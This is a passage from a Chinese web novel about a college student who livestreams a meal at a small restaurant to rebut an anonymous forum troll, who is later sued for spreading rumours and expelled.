楼主：[不腻！只有要你们吃过就知道了，绝对不会腻的！真的巨巨巨好吃，强烈推荐你们去吃！这家饭店感觉算得上国宴平替了，不，是平价亲民版国宴！] 178L：[真的假的？有人去吃了吗？给个反馈呗。] 179L：[我我我！我去吃了！我可以证明楼主说的都是真的！不去后悔一辈子系列！] 181L：[好好好，既然这样，那改天我也要去尝尝。] …… 直到下面，一个ID为“醉过方知酒浓”的人忽然发表了两条带攻击性的质疑评论： [不是，你们真的信啊？都不带脑子的吗？还真是一个敢说一个敢信，大家注意看，年度笑话出现了，《平价亲民版国宴》，要真像吹的那么好，会一点名气一点报道都没有？庄记饭馆有谁听过吗？我已经在各大网页和公众号上搜过了，没有一丁点关于庄记饭馆的消息。] [先不说楼主发的那些图片张张色调明亮，色彩搭配鲜艳盒子却那么简陋，你们看着不觉得有违和感吗？而且最重要的点来了，你们看，她前面都是每家店只吃一次的，为什么最近几天突然高频出现同一家店呢？很明显那个店家给她钱请她打广告了。] 186L：[可是有人去吃过了，就是好吃啊。] [明显是店家的水军啊，我真服了，醒醒吧你们，别被人当枪使了。] 195L：[听上去好像是有点什么，楼主不会真的收钱了吧？主要是这家店真这么好吃的话，为什么还不火啊？看起来就有点怪怪的。] 200L：[不会吧，从楼主前面的发言来看，她不像是这种人啊。] 206L：[算了，我还是排雷这家店吧，少吃他们家我又不会死，主要是看楼主发来的价格还挺贵的，我可不想把钱花在又贵又难吃的东西上面。] 230L：[不会吧，从楼主前面来……] [200L给我整笑了，我都不知道你读了那么多年书，到底读了什么，是把脑子读没了吗？跟你这种人同校我都觉得丢脸，以后老了卖你保健品，一卖一个准，隔着一条网线，三言两语，你竟然能感受到她是个什么样的人？] 268L：[什么意思啊你？你质疑你就好好的质疑，干嘛人身攻击啊？] 274L：[我也觉得说得有点过了，觉得同校丢脸那你就退学呗，那样就不是校友了：）] …… 争吵还在继续，每刷新一次，底下就会出现一条新的评论，陆向安简直看的气血翻涌。 庄记饭馆就是很好吃啊！ 这个傻逼，凭什么质疑？！ 廖俊注意到他的脸色变化，紧张的问：“怎么了？谁惹你了？” “那个帖子里吵起来了，有人说楼主是庄记花了钱请来打广告的。” “我去，什么傻逼啊？帖子名叫什么？让我去会会他。” “妈的，受不了了，我也要去骂他！” “绝不允许庄记被诋毁半分！” 他们三人，有人开电脑将键盘敲的噼啪作响，有人用手机打字拇指快如残影，有人直接语音转文字骂声冲天，总而言之都加入了骂战中—— 300L：[真是气死我了，作为一个吃过庄记饭馆的人，我可以证明楼主说的都是真的！庄记饭馆就是最好吃的！大家别理会那个人带的节奏！我跟你们说，我宿舍今晚就有两个人买了那的东西回来吃，结果另外两个没买的为了争这一口吃的，都跪下来求爹了，哦，我是跪下来叫爹的那个……] 303L：[听说这里有人当街脱裤子放屁，我还没见过呢，这不立马赶来了，一看，这哪里是脱裤子放屁？这不是当街拉屎吗？搞得整个帖子都臭了。] 309L：[就是你这破玩意质疑的？这样黑对你有什么好处吗？你质疑楼主收钱了，我他妈还怀疑你被庄记的对家收买了呢，好了，那一切都说得通了。] [哟，一下子出来那么多腿毛，庄记给了你们不少钱吧？还跪下来叫爹，别当儿子了去当孙子吧。] 312L：[我们站在了你的对立面就说我们收钱了，是腿毛是水军，你有证据证明我们收钱了吗？你亲眼看见了吗？另外，谁质疑谁举证，你既然觉得庄记没有楼主说得那么好，图片也是假的，那麻烦拿出证据来，不然一律当放屁。] …… 陆向安在对话框里反复打了一堆字又删掉，其实能说的都已经说了，但那个人就是这样固执恶臭，讲逻辑的思维在他这里根本没用。 谁质疑谁举证这条道理对他显然也没用。 他们这些吃过庄记的当然知道庄记是什么样的，可那些没吃过的路人呢？难免会被这颗老鼠屎影响到。 最终倒霉吃亏的也不过是庄记而已，这颗在网站上匿名口嗨的老鼠屎却没有付出一点代价。 庄记明明什么都没干却要承受这无妄之灾。 这样下去不行。 不能用谁质疑谁举证这条逻辑。 当务之急不是要那个人认错，而是挽回一点路人缘。 陆向安想了想，发表道：[大家好，我是21届新媒体3班的陆向安，很幸运通过楼主的推荐吃到了跟他描述一样好吃的庄记，看到自己喜欢的东西被质疑诋毁真的很难受。 既然那么多校友都在想楼主是不是收钱了，也都在怀疑庄记是不是真的和楼主说的那样好吃，我有一个办法可以解答你们所有的疑问，我挑一个时间到现场直播吃给你们看，到时候你们可以直接拿楼主拍的照片和我屏幕里的画面做对比，你们觉得这个方法怎么样？ 直接实名直播，用人格担保，不为别的，只想替喜欢的东西正名。] 另外三个舍友看到后都齐刷刷的看向陆向安。 张了张嘴想劝点什么，却又都知道陆向安那个人劝不动。 于是只好由他去了。 要知道在匿名论坛公开自己姓名是多么社死的一件事，这跟裸。奔没什么区别，对方的诚意成功让大部分路人选择相信—— [好，既然这样，那就挑个时间直播吧。] 经过一众商议决定，时间定在了明天中午十一点。 这个帖子热度变成hot一直飘在首页，吸引了不少路人点进来，发现有瓜吃后都兴冲冲的码住了直播的时间。 所以到第二天，距离开播时间还有一个小时的时候，就有不少人在等着了。 [还有一个小时，蹲！！] [放个屁股。] [正好上课，无聊，嘿嘿。] 距离11点还有十分钟，有同学评论—— 快快快，已经开播了！！直播地址在隔壁！！！ 为了照顾吃瓜群众，免得他们花时间一通乱找，陆向安直接新开了一个帖子，标题非常醒目—— 《直播地址在这》 下方附带的就是链接： target="_blank"> 点击就跳转到另一个APP上了。 陆向安选择的直播软件是咕咚咕咚，直播标题起得随便：《一个简单的小吃播》 一跳转，率先看到的是一张占据了四分之三屏幕的大眼尖下巴蛇精脸。 进来的同学都被吓了一跳。 [哎呦我去，这什么妖怪] [不懂就问主播真长这样吗？] [主播，你后面的树身材都比我好。] 第一次直播，什么也不懂。 陆向安还在研究着设置。 过了老半天，可算把一切美颜数据都关掉了。 街景恢复正常，陆向安的脸也变得正常，清晰到甚至能看到脸上的毛孔和闭口。 这次跟着他来的，还有他那三位舍友，不过他们没出镜。 看到已经有同学进来，陆向安跟他们打了招呼：“大家好！我是陆向安，是昨天在论坛用人格作担保那位。” “喏，大家看到所有景都是正常的，我没有调任何滤镜啊，”陆向安将摄像头翻转，举着手机拐进了朝丰街，“前面不远处就是庄记饭馆了。” [突然发现主播长的还挺帅的，新媒体三班是吧？好，已经准备去偶遇了。] [想要偶遇就赶紧了，主播已经大三了，快出去找实习了。] [来溪城读大学这么久没来过这边，看着景色好像还不错？] [到了吗？主播怎么突然停下了？] [因为已经到了。] [啊？？？这家大门紧闭的店就是庄记饭馆？怎么不营业啊？] 显然，陆向安也没猜到会发生这种意外情况。 另外三个舍友神情迷茫，毕竟在此之前，只有陆向安来过这里。 短暂的无措过后，陆向安很快稳了下来：“大家先别急，我们上前看看。” 紧闭的大门上贴了一张红底黑字的请假条： 有事外出，中午不营业。 弹幕一片哗然—— [阿这……] [怎么会这么巧啊？我还想看着下饭呢。] [中午不营业，那晚上营业吗？] …… 原本连质疑都是友好的弹幕里，突然冒出一条臭气熏天的言论—— [妈的笑死个人了，不是要现场直播试吃吗？不是要用人格担保吗？这会怎么连店都不开了？不会是你们没跟店家对接好吧？还是店家看到这么多人来连店都不敢开了？］ 开播这么久，就他这一条极具个人特色，明显是论坛那个“醉过方知酒浓”，不过换了个软件，他的ID已经变成了“用户sbdx54167”。 也不知道是才点进直播间，还是看到直播结果是有利于自己的才敢滚出来。 直播不能骂脏话，陆向安深吸口气，忍了忍，在思索要怎么办。 期间，有几个路人进入屏幕范围，陆向安立马将镜头下移了点，没对着他们的样子拍。 那几个路人也上前看了请假条，然后一脸天塌了的样子聚在一起聊了几句就摇摇头离开了。 [感觉不对吧，要是真不好吃，会有人来等着吗？看他们的样子还挺失落的。] [应该只是真的运气不好刚好碰到老板有事吧？] 眼下情况，只能先给观众朋友们一个说法，然后再改直播时间了。 陆向安正要说话，忽然看见隔壁门开了，里头走出一个手脚利索的老太太。 她看见了在门口徘徊的几个人：“你们是打算来吃饭的吗？” “是啊，老婆婆您知道老板娘去哪了吗？” “老板娘什么时候回来啊？” “今天下午能营业吗？” 也许是见她住庄记饭馆隔壁，顾客们理所应当的把她当做知情人。 不过陈婆婆还真就知情。 “饭店老板娘已经回来啦，我刚在后院看见她呢，你们有什么想问的话，我可以去帮你们叫她出来。” “真的吗？那太感谢了！！” “麻烦了！” 陆向安一看，也跟着上前了几步，等庄凝冬出来。 很快，木门打开，一个身穿浅绿色长裙的女子出现在了大众视野。 陆向安一个不小心，把庄凝冬拍了进去。 五官立体柔和，容貌艳绝，气质清丽出尘，配上极富春意的一抹绿，给人的感觉就像春天化成了人形。 反应过来后，他赶紧切换成前置。 [我操，我操，这是饭馆老板娘……长的也太好看了叭！！] [什么饭馆老板娘，这分明就是我老婆！] [不是主播你在干嘛……为什么突然切摄像头？！我现在不想看见你呀喂！赶紧给我切回去！！！] [附议！！！] …… 解决重要事要紧，陆向安上前问：“老板娘，中午还营业吗？” 庄凝冬：“不了，刚从外面回来，也没准备今天中午需要的菜。” “好吧，那晚上呢？” “晚上正常营业，大家放心吧。” 有了老板娘的保证，其他路人的心也定了下来，陆续离开。 陆向安也退到一旁，懒洋洋的回复之前的弹幕：“不想看我就把屏幕遮上，人家老板娘不知情，我不好怼着人家拍，行了，大家应该都听到了吧？老板娘晚上才营业，既然这样，那我们晚上再来。” [听到了，老板娘的声音好好听啊！好甜好温柔，不行了我在床上扭成蛆了。] [退一万步来讲，老板娘就不能莫名其妙成为我老婆吗？好想被这道声音哄着睡觉/流口水。] 然而再好的弹幕氛围也总会出现那么一两条逆天言论，还是那个id—— [老板娘是女的，那更不用看了，你们也不用抱什么希望了，女的哪里会做菜啊？别到时候盐和糖都分不清吧。] 然而更逆天的是，竟然还有觉得他说的有道理的—— [emmm……有一说一，女生做饭确实……漂亮的女生更是，之前有心谈过几任漂亮女友，都不会做饭，甚至连碗都不会洗，幸好分了。] [现在网络的美食赛道不就有挺多女生的吗？我关注的一个博主上架链接卖自己做的东西，我买过一次，那味道简直一言难尽。] 有人看不下去—— [确实幸好分了，人家含着金汤匙出生，从小到大没洗过碗，跟了你却要学洗碗，这是什么恐怖故事？] [果真人无完人，看来漂亮妹妹的眼光普遍不太好。] [不知道为什么，我的直觉告诉我老板娘的手艺就跟主播说的那样好，感觉那些人要被打脸了，坐等。] [好想快进到今天晚上，对了主播下午几点开播啊？我好准时来。] …… 又是这个傻逼带的节奏！ 陆向安深吸口气，“时间就定在下午五点半吧。” 他顿了顿，说：“请问ID为‘用户sbdx54167’的人现在还在直播间吗？” 用户sbdx54167：[？] 只见屏幕上，陆向安浅浅弯了一下唇，然后立马换上了一副恨不得将他碎尸万段的表情，用嘴巴无声说了一串污言秽语的同时，展示了一下国际友好手势。 一连串丝滑的动作在两秒内完成。 随后屏幕倏的一黑： 直播已关闭。 弹幕安静了一瞬，然后滚过满屏彩色的“哈哈哈哈”。 [麻麻我懂唇形了！！] [《主播教你如何瞬间学会唇语》] …… 只留下那个被点名的用户无能狂怒地回骂。 陆向安关了直播后就在那跟舍友一起骂他，等气顺了点，才准备离开。 刚转身，捕捉到不远处的几个字眼：“建群”、“方便”…… 本能地觉得要发生些什么，陆向安走了过去。 那边，谭清莹跟何筝刚下班就赶了过来，心心念念了一上午的庄记，谁知道来到之后才发现竟然！不！营！业！ 天啊，下午都没动力上班了。 一阵落空后，谭清莹提议庄凝冬建个群，这样方便他们及时掌握店铺的相关动态。 谭清莹可怜兮兮的：“求你了老板娘你就建个群吧，老板娘你也不想我们以后经常跑空吧？呜呜呜累死我事小，主要是你忍心看我们满怀希望的来，又一脸悲痛地走吗？” 何筝加入：“没关系的没关系的，白跑一趟也没关系的，可能我天生就是劳碌命叭～” 庄凝冬：“……” 庄凝冬有点摸不着脑袋，这个时代的人们都这么……疯狂的吗？ 不过他们说的也不无道理。 日后若是还有什么事需要暂停营业，总不能再像今天这样，让他们白跑一趟。 只是她还没想好要怎么管理群，估计得慢慢摸索了。 “好了好了，”庄凝冬哭笑不得，“我建个群就是了，你们有谁要加的吗？” 周围几个路人都纷纷靠了过来。 在谭清莹的教导下，他们几个用了面对面建群。 霎时，群里面已经有了十个人了。 陆向安四人也加了群才离开。 庄凝冬略抱歉地看向他们：“今天真不好意思，让你们白跑一趟了，这样，今天晚上到店消费的我都送一份椰汁马蹄糕，你们看可以吗？” “可以！！” “最爱你了老板娘！” “姐，你是我唯一的姐！” …… 回了店里没多久，又有零散的客人上门询问，庄凝冬很有耐心地又解答了一遍，然后又把群二维码打开让他们扫。 待彻底清净下来后，庄凝冬想了想，决定将群二维码打印出来放在收银台前方方便他们自行选择。 * 隔壁街，胖叔木桶饭店里。 一位身形偏瘦，脸颊凹陷的中年妇女坐在收银台那，刚又有个人来点单了，收了钱，她的嘴角都要咧到太阳穴去了。 后厨一个挺着啤酒肚，头发稀疏的中年男人端着饭菜到指定饭桌，正要回后厨时被他老婆拉住。 “诶，你有没有觉得咱们今天的生意比之前要好啊？” “肯定是都觉得咱们做的饭好吃了呗！算他们有口味！”说着，胖男人又催促似的指责她：“可别愣着偷懒了，我都忙不过来了！赶紧进来帮忙！” 赚了钱，女人心情好，笑得跟朵花似的，也懒得跟他计较。 带上抽屉，就要往后厨去，刚好听到有一位客人在打电话—— “我是还在外面，怎么了？你要吃什么？庄记？庄记中午没开买不了，我？我就随便进了附近的一家店，唉别提了踩大雷了，一点都不好吃，油腻的要死，那行那就这样吧。” “……” 庄记是什么东西？ 几乎是过了好一会儿，女人才反应过来，这人在吐槽她家的味道。 女人：“？” 没来得及细细思索，耳边一声叫唤就扯走了她的思绪。 “芹菜不够了，赶紧切点，发什么愣呢？” 她忙说：“来了。” * 中午直播出了岔子，再加上那位“醉过方知酒浓”记恨主播在最后两秒对他进行侮辱，故而变本加厉的在帖子下方煽风点火，各种歪曲事实，让其他没能详细了解经过的路人误以为真有饭馆营销翻车，都饶有兴致的等待着傍晚直播。 再一次将气氛拔高。 直播地址依旧是那个。 跟中午一样，还没开播，就有一大批人等着了，只不过中午是在帖子等，现在是直接来直播间等。 [前排兜售瓜子可乐。] [来跟主播学变脸了。] [来看老婆了！] 其中也包括满肚子怨气的“醉过方知酒浓”，他躲在屏幕后面，阴森森的打字： [陆向安人呢？怎么还没来？不会是怂了吧，这样，你出来替中午辱骂我的事给我认个错，道个歉，我就既往不咎了。] 有网友辣评：[你不咎啥呢不咎，主播啥时候辱骂你了，在座的有人听见了吗？] [没有。] [没有＋1。] 用户sbdx54167：[？] 恰好，陆向安在自己直播间里发了一条弹幕：[别急，你爹马上来。] …… 准时开播，陆向安人已经到了店铺门口。 屏幕画面是后置镜头视野范围。 网友们跟随着他的第一视角。 只是一个规模不是很大的直播，陆向安也不想搞那么复杂，所以他也没跟老板娘说自己在直播。 全程避开其他人脸拍拍地板，拍拍菜单，拍拍店铺的装潢，不涉及什么个人隐私。 [主播，在干嘛？镜头怎么那么晃？会不会直播的？！] [店铺内部看着确实比较古朴，不过现在干净整洁。] [菜单价格确实跟楼主给出来的一致，对比市场价确实偏贵。] [能不能再让我偷偷看一眼我老婆？就一眼呜呜呜……] 始终没忘此行的目的，陆向安他们四个人点了店里的四个主菜，打算另外拿个碗分着一起吃。 庄凝冬：“好的，请稍等。” 弹幕的声控粉顿时又是一阵尖叫。 他们来的早，加料区还有东西，他们便又装了点酸萝卜，拍黄瓜和手剥笋。 挑了个角落的桌子落座，陆向安坐在两面是墙的一隅，拿出手机支架切换为前置调整好角度对着自己拍。 趁着其他菜还没上，他们几人便先吃起餐前小吃。 “三样小吃，你们刚刚都看过了，就不再对着细拍展示了。” 说是这样说，但当夹起一片片透亮的酸萝卜时，陆向安还是跟之前看过的那些吃播一样，用手挡在食物后方怼着镜头展示。 白萝卜被切成片状，又薄又透亮，很像水晶石，隔着屏幕似乎都能闻到那股酸溜溜的味道，光看着就足够让人流口水了。 “腌萝卜很入味，吃起来脆爽解腻，酸酸辣辣的味道过后还能品出一丝甜味，足够餐前开胃了。” 接下来是拍黄瓜。 “唔！绝！这一看就是用新鲜黄瓜腌的，吃起来是那种很鲜嫩很硬的脆，汁水很充足，我以前在别的店里就遇到过用那种萎靡到脱水的黄瓜做的，里头瓜肉都干巴得泛白了，一口咬下去，蔫巴巴，要多难吃有多难吃。” “丢，手剥笋也好香，爱吃笋的有福了，进店必买！”陆向安捏着笋身，咬了几口根部的肉在那嘬嘬嘬，“你们看这个笋肉，一看就非常嫩！根本停不下来，等会我吃完一定……不我现在就去再买些手剥笋，我怕等会吃完饭没了。” 被一提醒，另外三个舍友也纷纷起身。 一瞬间，屏幕前就不见人影了，连其他吃饭声都不见了。 弹幕快速刷过一行行问号。 [主播你把我们当什么了？就这么晾着我们？别太过分了！] [靠，怎么光是这个开胃菜我就感觉已经饿的不行了？] [不得不说卖相是真的好啊，那萝卜看上去亮晶晶的，看的我唾液都分泌出来了。] [谁懂啊我是上课带着耳机看的，谁知他连着吃三样东西都是脆的，嘎吱嘎吱的声音在我耳边循环播放，就跟催命符一样把我身体里的馋虫都催了出来，真的太折磨了！！] …… 他们买完回来后，饭菜也都端上来了。 样样摆盘精致，色泽搭配鲜艳，色调看上去都是那种清新的明亮，再加上扑鼻的香气，让人恨不得立马将头埋进去大吃特吃。 要不是瞥到屏幕里自己的脸，陆向安差点都忘了自己正在直播，还得先给他们展示一遍食物。 陆向安学过摄影，他的拍摄手法和运镜还挺专业的，镜头扫过小山丘似的金黄炒饭，酸甜多汁的橘红色番茄土豆烩饭。 那红油抄手仿佛沉入一片红色海域的小船，油汤鲜亮诱人，荷香鸡色泽焦黄切口又嫩又多汁油，津津的躺着汁水。 椰汁马蹄糕被切成菱形，茶黄和乳白相间，晶莹剔透，层次分明，光泽莹润。 陆向安还特别会给它们进行特写，比如粒粒分明的饭粒松软地掉进碗，炒出沙的浓稠番茄汁，悬在空中轻飘的像衣物随风鼓动似的抄手面皮，不断往下滴着红油…… 拍完这些，陆向安又将镜头拉远，给它们拍了一张全家福后，这才迅速将手机重新固定好，自己开吃！ [金山银山里面的金山好像在看到紫菜炒饭的那一刻具象化了。] [免费送的那份椰汁马蹄糕看上去也太高级了吧！看这表面光滑程度，还有切面的平整度，整整十三层，层层均匀，美得想献上我的膝盖。] [从头看到尾，没落下任何一秒，我可以作证主播的镜头里没有任何滤镜调色，所以，这些菜真的跟楼主帖子里放的照片一模一样！！完全原图直出啊！！] [就这摆盘，不秒杀市面上大部分的网红餐厅吗？如果不说的话，谁知道这竟然出自一家苍蝇小馆啊？] [呜呜呜看起来就很好吃的样子，主播快跟我们说说味道！] “我自己做的烩饭是聚成一坨难以下咽的，别人的烩饭酸甜可口，土豆粉糯异常下饭…… 在绝对的美食面前，陆向安毫无吃相可言，嘴里的烩饭塞得双颊鼓鼓，还没吞下去，他的勺子就已经伸向紫菜炒饭了。 “受不了了，这份炒饭也好好吃，你们能想象小小的一颗饭粒里吸饱蛋香、蘑菇香、肉卷香和猪油香是什么味道吗？这口感丰富到难以言喻，Get不到的人有难了。” 手机虽然拍不到其他三个舍友，但也能录进他们的声音—— “我现在尝遍所有菜之后，只想穿越回昨天狂扇自己一巴掌，为什么昨天嫌贵没买？！” “最爱这份荷香鸡了！淡淡的荷叶香有股清新的雅调，入口回甘，鸡汁鲜甜，底下的那点汤水，你们都不许跟我抢！” “红油抄手吃得得劲啊，好久没辣的这么过瘾了，这口辣汤居然都是用高汤调的。” [QAQ求求你们不要再说了，我要饿疯了！] [还在上健康养生选修课，老师问我为什么看着投屏上的内脏流口水：）可别以为我是变态吧。] [正在吃学校饭堂的我如同在嚼蜡。] [主播这个吃相，仿佛从生下来就没吃过饭一样。] “对了，你们知道为什么会送椰汁马蹄糕吗？中午店铺不是不营业嘛，然后又来了很多顾客，老板娘为了弥补我们中午跑空的那一趟，就说今晚到店消费的都会送一份马蹄糕。” 陆向安拿起一块马蹄糕，咬了一口，感受着其中浓而不腻的椰奶香，继续说道：“我们四个不是一起来的吗？原本我还以为我们四个人一份呢，没想到是一人一份，老板娘人真的太实诚了太好了。” [啊啊啊啊不愧是我老婆！！不仅人长的好看，手艺好还善良！] [只有我捕捉到了重点吗？今晚到店消费的都能免费获取一份马蹄糕，重点不是免费，而是你们发现没有，菜单上根本就没有马蹄糕！也就是说那是非卖品！是有钱也买不到的！不行不说了我现在就要去趟店里。] [不是吧不是吧，你们现在才来啊？我都已经快到了。] [五十步笑百步，我来告诉你们吧，你们都不用来了，店里已经卖光了，马蹄糕也分完了。] [等会儿，你不会是想自己独吞，所以才故意这么说让我们不要去吧？] [……不信你问主播，我真服啦。] 一桌子菜，包括那一整只荷香鸡，都被这四个人消灭的干干净净。 陆向安瘫坐在椅子上，打了个饱嗝，满足了。 他刚好看到那条弹幕，便拿起手机到窗口去问。 “确实是卖光了，今天也不知道为什么，生意比之前都要好，”庄凝冬柔声道，笑过之后又有点狐疑，“不过你还没吃饱吗？可是我记得你们点了挺多菜的呀，晚上还是不宜吃太饱。” 陆向安忙说：“不是我，老板娘你做的菜非常好吃，我吃的很饱不用担心，我是帮人问的，既然卖完了那就行吧。” 陆向安走之前又跟庄凝冬说：“老板娘，我觉得你之后可以多准备些份量了，不然不够。” [呜呜呜我老婆真的很好。] [我是那个帖子的楼主，昨天中午分享完午饭回复了几条消息就去忙了，没想到后面会牵扯出那么多事，因为最近这几天都很忙，连庄记都没空来了，所能做的只有在帖子里尽力帮忙拉回节奏。 虽然好像没什么用。 主播，真的非常感谢你能抽出时间直播替庄记说话/玫瑰] [好了，既然庄记味道卖相都没问题，楼主也没收钱，接下来就该处理最重要的事了，那位用户sbdx54167，你现在可以道歉了么？] 就在众人以为他无颜面对事实早就退出时，他人出现了—— [不是你们真的没脑子吗？怎么可能处处都过分完美啊？这明显就是提前精心准备好的，光这样看而已，你们都吃到了吗？就不能是主播假装出来的好吃？而且就一个女的，怎么可能做得到每顿菜都这么完美不失水准啊。] 只是现在，已经没人会因为他的话而对庄记产生质疑了—— [天啊主播是装出来的，那我可要跪下来求主播立马进军娱乐圈了，这演技得秒杀多少小鲜肉。] [张嘴闭嘴都是女的怎么可能，怎么，你做饭是用*做的？没了它就做不了饭是吧？] [对你说的没错，我老婆就是这么完美/玫瑰。] [楼主那只有图片和描述，你说假，你造谣，现在有了更确切的证据，你不信，你嘴硬，别太嫉妒了老铁。] [大家别光顾着喷他了，还有那几个附和过他的人，一个也别放过谢谢/抱拳。] [主播麻烦封禁一下他的账号，不想再看见他出来跳脚了。] 陆向安才知道原来没跟平台签约的主播也有这个功能。 “咳，不太熟练，不好意思啊。” 弹幕终于干净了。 可那样的人怎么能咽下这口气呢？在这说不了话，他就换个地说。 于是又转战了论坛。 弹幕有人喊：[那人转战论坛了！大家快！咱们一人一口唾沫还淹死他吗？] 于是，这群网友两个地方来回切换的不亦乐乎，在论坛大战的同时也不忘给直播间实时播报战况。 很快，一条新的弹幕抓住了所有人的注意力： [大家快去看，有人把他告了！] 第22章 第22章 经过一段时间的发酵，记录三餐的帖子里已经盖了上千层高楼，大部分同学就这么留在帖子里面，沉浸式的对某个傻逼进行谩骂。 直到对方不再还口。 2002L：[人呢？跑哪去了？怎么不吭声了？] 2006L：[看来是被我们骂跑了。] 2013L：[害，早这样躺平任嘲不就好了吗。] 就算他们都以为那人是怂了的时候，出现了新的评论—— [他好像不是怂了，而是……被举报了。] [不，是被告了。] 众人：[？？？] 原来早在刚刚，他们都停留在帖子里面的时候，论坛首页就有人新发了一条帖子。 标题为—— 《我把前段时间造我谣的人告了》 发帖人：丑东西别叭叭 这个标题，完全无法将最近闹得沸沸扬扬的楼主收钱打广告这一事件联系起来。 当时在大部分人都在气头上，根本没有闲情去看别人发了什么。 不过好在标题内容够爽，还是有小部分人点了进去。 等他们吃完瓜，隔壁的骂战也暂停了，这时才有更多的人点进来。 这才发现，帖主要告的人正是那位醉过方知酒浓！ 除了他的姓名，所在班级，还有他在大学四年里所用过的所有论坛ID都被po了出来。 醉过方知酒浓人叫卢正，是物流专业的一名大四生。 帖主言辞条理清晰，逻辑严密，从事情的起因经过到结果都清楚的罗列出来，还附带了各种图片证据。 简单来说就是卢正造她黄谣言，然后被她告了。 事件的起因是在一周前。 当时一个女生正在校道旁喂流浪猫，突然间，猫咪不知道受到了什么惊吓，窜进了旁边一台车的引擎盖里。 为了猫咪的安全，女生不得不联系这辆车子的主人。 两方会面。 女生才发现这辆保时捷的车子主人竟然是个漂亮姐姐，两人合力成功将猫咪救出后，女生难以抑制激动的心情，回去之后就在论坛上发表了自己当天的见闻。 在溪城这个小地方，几十万到百万的保时捷就足够引人注目了。 况且还是在大学校园内。 当时这个帖子也是炸出了很多人。 不少人都说自己也看到了那辆冰莓粉保时捷，知道它的主人是一位漂亮姐姐后，其他人更是纷纷表示那就合理了。 冰莓粉和美人绝配！ 然而在一众的惊叹里，也是有一条评论异常突出—— [车主人？车主情人吧。/奸笑] 那时的帖主名字刚好在看这条帖子，自然也看到了那条评论，她当即打字道： [我就是车主本人，这辆车是我爸送我的20岁生日礼物，请问你是什么意思？我劝你想好再说。] 也许是被搭理的感觉让他更来劲了： [是亲爸还是干爸，你我心知肚明，就不用说的太明白了吧？毕竟这也不是什么光彩的事。] 丑东西别叭叭：[我还真不明白呢，麻烦你详细说说。] 醉过方知酒浓：[得了吧？装什么啊？能随手送得起保时捷的家庭，咋不顺便送你出国读书呢？还用留在溪城大学？被包养就被包养了吧，还不知道低调点。] 丑东西别叭叭：[可以，你最好记住你今天所说的，你会付出代价的。] 小姐姐说完这句话之后就不见了，当时的卢正以为她是口头放狠话，自然也没放在心上。 谁知几天后，他却收到了法院的电话…… 关键还不止一个人告他。 因为，小姐姐还联系了其他一样被卢正造过黄谣的女生，联合她们一起把人告了。 而起诉的所有费用，全部由她承担。 不为别的，只为出一口气。 [啊啊啊啊姐姐好帅！我爱了！！] [妈的，爽了，让那个逼再那乱说话！] [你们搜一下他用过的ID，会跳出来他的所有发言，超逆天。] 论坛里面的ID都是规定几个月才能改一次，那人所用过的ID不是很多，但发表过的评论却多的数不过来。 不过即便再多，看个一两条也能知道他是个什么样的人了。 包括但不限于—— 在人家吐槽论文难写的帖子下，说人家水平不行，还高傲的展示自己论文都是一遍过的，改都不用改。 在人家发帅哥照片请求广大校友帮忙捞人时，他说那人还没他帅。 又在人家感叹自己打出一个很漂亮的三分球时，他说还没他随手一扔的投篮完美。 …… 所有去看过的校友们均是一副地铁老人看手机的表情。 [别怪我没提醒你们，你们还没去搜的最好还是不要去了，我怕你们被恶心的睡不着觉。] [我开始还以为他是普信且看不起女生的恶臭男，没想到男生他也一样看不起，妈呀，他不会觉得全世界就他自己最牛吧？] 随着卢正的一系列信息被曝出，他的更多“光荣事迹”也被扒了出来： [卢正，20届物流专业四班，截止目前为止，论文终稿还没交，不出意料的话是要延毕了，不懂他怎么说的出自己论文一遍过这种话的。] [我是他的同班同学，他人缘可差劲了，班上的人连话都不愿意跟他讲的。] [图片.JPG，这是他在去年篮球赛上摔了个狗吃屎的照片，重新定义《完美》《还没我帅》] [妈的，看他不爽很久了！天天用我的洗发水沐浴露纸巾还说我小气！叭叭姐牛逼！可算是为民除害了！] 在一众吐槽卢正以及高呼爽了的言语中，有人发现了重点： 叭叭姐究竟是什么人？为什么能在这么短时间内知道卢正账号背后的真实信息以及收集好所有的材料证据对他进行起诉？ 要知道，光是想要通过校园论坛账号知道背后人的真实姓名，就得经过学校的层层审批。 单单是走学校这个流程，就要一周了。 有人爆料—— [你们都不知道吧，给学校捐了两栋楼的于董就是叭叭姐的亲爹，你们说为什么能这么高效？] [哈哈哈哈笑死我了，卢正那个逼这次可算是踢到铁板了。] [他那种人，发个律师函警告一下估计都怂了。] 丑东西别叭叭：[律师函警告？除了能让他道歉以外有什么好处吗？我可不缺他这一个道歉。] [啊啊啊啊姐姐好帅！] [叭叭姐：律师函警告？不，我就要他付出代价。] [重磅消息！大家快看学校官号刚发的通告！！卢正被开除了！] 啊？？？ 众人赶紧切换界面—— 【近日，经我校学生反馈，卢某仗着论坛可以匿名发言，多次在不少帖子下发表不实言论，经我校调查后，发现确实存在煽风点火，乱带节奏，发表污言秽语，恶意造谣等行为，情节严重，现学校依据《普通高等学校学生管理规定》《溪城大学学生违纪处分规定》，给予该生开除学籍处分。 感谢大家对此事的关心和关注，匿名论坛并非法外之地，请大家谨言慎行，共同维护良好学习环境！】 [我去我去，竟然被开除了！太好了！] [妈的，笑死我了，谁还记得他之前说的那句“跟你这种人同校我都觉得丢脸”，这下可好了，真的不用跟我们当校友了呢/可爱。] [啊哈哈哈哈这个结果真的大快人心，我愿称他为第一预言家。] [卢正，所有人都在笑你，但偏偏你最好笑。] 卢正被学校开除这个结果所有人都喜闻乐见，叭叭姐更是爽快且大方地放话： [从明天开始，一周内，所有到庄记饭馆消费的溪大学生，都去找我的助理报销！要提供相关证明哦。 助理联系方式：183……] [啊啊啊所有消费由于小姐买单！于小姐大气！！] [为你痴为你狂为你框框撞大墙！] [哦？叭叭姐也把另一个大瓜吃完了？] [看来未来一周内都得进行一场严重的厮杀了。] [不，不止，一旦你吃过庄记，你这辈子就定型了，不管它是否免费，你都会为它冲破脑袋的。] 卢正的事件到这为止就告一段落了。 有网友发现盲点： [你们注意没？其实在这件事里，最惨的是发三餐帖的楼主啊！！人家但凡把这些记录发在别的社交平台上，估计都积累了不少粉丝能恰饭了，只有在这里，不仅一个镚没得，还要被骂被造谣，光赚一顿骂了/抱拳。] [我去，还真是！谁见了不说一声惨？] 不过对此，楼主本人并没觉得有什么，因原本的帖子被搞了个乌烟瘴气，他还特平静的开了个新帖记录。 而陆向安，也在跟观众朋友们挥手告别。 “好了，饭我吃完了，事件也有了更明朗的结果，那就先直播到这了，感谢大家的支持和捧场，希望以后大家都能多多来庄记……” 陆向安说着，突然一顿：“算了，也别来得太多，我不想以后排队啊喂！！” 